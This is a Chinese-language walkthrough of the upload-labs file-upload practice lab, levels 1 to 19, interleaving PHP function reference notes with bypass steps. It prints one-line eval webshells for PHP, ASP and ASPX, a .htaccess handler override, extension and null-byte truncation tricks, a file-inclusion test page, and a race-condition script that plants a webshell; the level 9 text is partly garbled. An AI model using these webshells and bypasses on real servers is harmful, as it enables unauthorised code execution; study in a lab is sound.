lastIndexOf() 方法可返回一个指定的字符串值最后出现的位置,在一个字符串中的指定位置从后向前搜索。
stringObject.lastIndexOf(searchvalue,fromindex)
searchvalue 必需。规定需检索的字符串值。
fromindex 可选的整数参数。规定在字符串中开始检索的位置。它的合法取值是 0 到 stringObject.length - 1。如省略该参数,则将从字符串的最后一个字符处开始检索。
注释:lastIndexOf() 方法对大小写敏感!
注释:如果要检索的字符串值没有出现,则该方法返回 -1。
substring() 方法用于提取字符串中介于两个指定下标之间的字符。
stringObject.substring(start,stop)
start 必需。一个非负的整数,规定要提取的子串的第一个字符在 stringObject 中的位置。
stop 可选。一个非负的整数,比要提取的子串的最后一个字符在 stringObject 中的位置多 1。
如果省略该参数,那么返回的子串会一直到字符串的结尾。
@表示后面即使执行错误,也不报错。
eval()函数表示括号内的语句字符串什么的全都当做代码执行。
$_POST['pass']表示从页面中获得pass这个参数值
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
第1关
目的是上传php文件,注入后门 但是,不让上传php文件,所以考虑绕过(用burp拦截并修改后缀名) 首先创建一个php文件,将后缀名改成jpg,用burp抓包,并修改后缀名php 测试是否上传成功 上传成功
第2关
$_FILES这个变量用与上传的文件参数设置,是一个多维数组
数组的用法就是 $_FILES['key']['key2'];
$_FILES['upfile']是你表单上传的文件信息数组,upfile是文件上传字段,在上传时由服务器根据上传字段设定。
$_FILES['upfile']包含了以下内容:
$_FILES['upfile']['name'] 客户端文件的原名称。
$_FILES['upfile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES['upfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['upfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名。
$_FILES['upfile']['error'] 和该文件上传相关的错误代码。
move_uploaded_file() 函数把上传的文件移动到新位置。
如果成功该函数返回 TRUE,如果失败则返回 FALSE。
move_uploaded_file(file,newloc)
参数 描述
file 必需。规定要移动的文件。
newloc 必需。规定文件的新位置。
第3关
黑名单绕过
那些后缀名都是黑名单,被拦截的 思路:可以尝试上传php2/php3/php4/php5/phtml绕过 其他的语言扩展名: 成功
第4关
.htaccess绕过
在apache里,这个文件作为一个配置文件,可以用来控制所在目录的访问权限以及解析设置。即是,可以通过设置可以将该目录下的所有文件作为php文件来解析
.htaccess可以写入apache配置信息,改变当前目录以及子目录的Apache配置信息
思路:上传.htaccess文件,文件内容:SetHandler application/x-httpd-php,这行配置表示将所有后缀名都解析为php;如果想要指定后缀名解析为php,文件内容:AddType application/x-httpd-php .jpg(上传该.htaccess文件后,上传的.jpg文件都会被当作.php文件解析)
前提条件:
- 配置上允许.htaccess生效
- Apache开启rewrite模块
- apache配置文件为AllowOverride All(默认为None)
.htaccess中将下面的内容写进去
<FilesMatch "xxx">
SetHandler application/x-httpd-php
</FilesMatch>
先上传这个文件,之后上传不是黑名单的后缀名就可以了,.htaccess会自动转换为php文件
第5关
这关将.htaccess加入黑名单了 我们可以看到没有循环,就是说只能处理一次 所以我们写".php. ."就可以了
第6关
可以参考第5关 这关少了转小写的防护 在window的时候如果文件名
第7关
发现空格限制没有了,可以利用这个进行绕过
第8关
发现点限制没有了,可以利用这个进行绕过
第9关
在window的时候如果文件名+"::
D
A
T
A
"
会
把
:
:
DATA"会把::
DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
这关没有::$DATA这个规则了
第10关
和第5关一样,用.php. .可以绕过 在这里就不写了
第11关
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)
str_ireplace(find,replace,string,count)
参数 描述
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。
trim(string $str, string $character_mask = " \t\n\r\0\x0B"): string
参数
str 待处理的字符串。
character_mask 可选参数,过滤字符也可由 character_mask 参数指定。一般要列出所有希望过滤的字符,也可以使用 “..” 列出一个字符范围。
这关是如果查到黑名单,就会用空替换,用双写,从左往右检查,将后缀名改成.pphphp,就可以上传成功了
第12关
1. substr(string,start,length)
函数返回字符串的一部分。
参数 描述
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。
正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾开始的指定位置开始
0 - 在字符串中的第一个字符处开始
length
可选。规定被返回字符串的长度。默认是直到字符串的结尾。
正数 - 从 start 参数所在的位置返回的长度
负数 - 从字符串末端返回的长度
2. strrpos(string,find,start)
函数查找字符串在另一字符串中最后一次出现的位置。
参数 描述
string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定在何处开始搜索。
3. in_array(search,array,type)
函数搜索数组中是否存在指定的值
参数 描述
search 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。
type 可选。如果该参数设置为 TRUE,
则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。
4. move_uploaded_file(file,newloc)
函数把上传的文件移动到新位置
参数 描述
file 必需。规定要移动的文件。
newloc 必需。规定文件的新位置。
5. rand(int $min, int $max): int 产生一个随机整数
如果没有提供可选参数 min 和 max,rand() 返回 0 到 getrandmax() 之间的伪随机整数。
例如想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15)。
在某些平台下(例如 Windows)getrandmax() 只有 32767。如果需要的范围大于 32767,那么指定 min 和 max 参数就可以生成更大的数了,或者考虑用 mt_rand() 来替代之。
data 格式化本地时间/日期
制作图片马的方法 我们可以使用%00截断来实现绕过.
需要两个条件
php版本小于5.3.4
php的magic_quotes_gpc为OFF状态
环境配置完成
上传图片马
我们构造payload。 POST /upload-labs-master/Pass-12/index.php?save_path=…/upload/phpinfo.php%00 原理
当我们看到图片链接的时候相信大家已经或多或少明白了,payload构造的就是这个效果,为什么叫%00截断,因为上传后他的值会自动拼接上后面的 1.jpg 就变成了这样 phpinfo.php%001.jpg 当防护端检测的时候,发现后缀是1.jpg,于是就没有进行拦截,phpinfo.php后面的%001.jpg因为%00就都不生效,所以最后上传上去的就是phpinfo.php,为什么后面是7720210825092924.jpg而不是1.jpg是因为源代码有些随机文件名的规则。我们进行检测的时候直接访问这个地址,把php后面的都去掉:http://127.0.0.1/upload-labs-master/upload/phpinfo.php
参考博客:https://blog.csdn.net/dd_c1d/article/details/119894881
第13关
分析源码 这关报错的路径在post参数里 可以直接00截断绕过 ,唯一不同的是post中内容不会给你直接url编码,所以我们需要改一下hex,需要在二进制中进行修改,因为post不会像get对%00进行自动解码。
完成
第14关
这关规定要使用图片马,这是图片马的制作过程(注意不要换后缀名,否则后缀名的hex不一致) 识别不出来,根据提示“使用文件包含漏洞能运行图片马中的恶意代码” 在upload中新建一个php文件 代码
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
最后测试成功
第15关
image_type_to_extension — 根据指定的图像类型返回对应的后缀名。
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,
失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签
索引 bits 给出的是图像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header("Content-type: image/jpeg");
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
stripos(string,find,start)
参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。
查看源码知道,没有变化很大的规则,还是检查后缀名,所以之前的图片马还是有效的
第16关
exif_imagetype() 读取一个图像的第一个字节并检查其签名。如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。 该函数的使用环境了:PHP 4 >= 4.3.0, PHP 5, PHP 7 开启,默认关闭 在php.ini中搜索extension=php_exif.dll,然后将前面的分号去掉 之前的图片马还是有效的
第17关
之前的图片马还是有效的
第18关
漏洞介绍 条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。 首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,典型的“引狼入室”。
条件竞争
经过一波审计,发现有unlink函数(网上搜的),此函数是删除文件的作用
这里先将文件保存在服务器中,再判断后缀名,若后缀名不合法则删除文件
通过条件竞争的方式在unlink之前,访问上传文件。
利用条件竞争删除文件时间差绕过。 创建一个test.php 代码
<?php
fputs (fopen("info.php","w"),'<?php eval($_POST[cmd]);?>')
?>
上传这个test.php文件,然后使用burp抓包 发送过来之后,直接全部清除 然后设置有些载荷 然后设置没有负载,无限期的重复 之后用蚁剑连接 参考博客 https://blog.csdn.net/qq_46527080/article/details/111701247
第19关
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
第一种方法
将php文件的后缀改成phpinfo.php.7z,直接上传
第二种方法
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。
参考 https://blog.csdn.net/baidu_38294816/article/details/121024014
|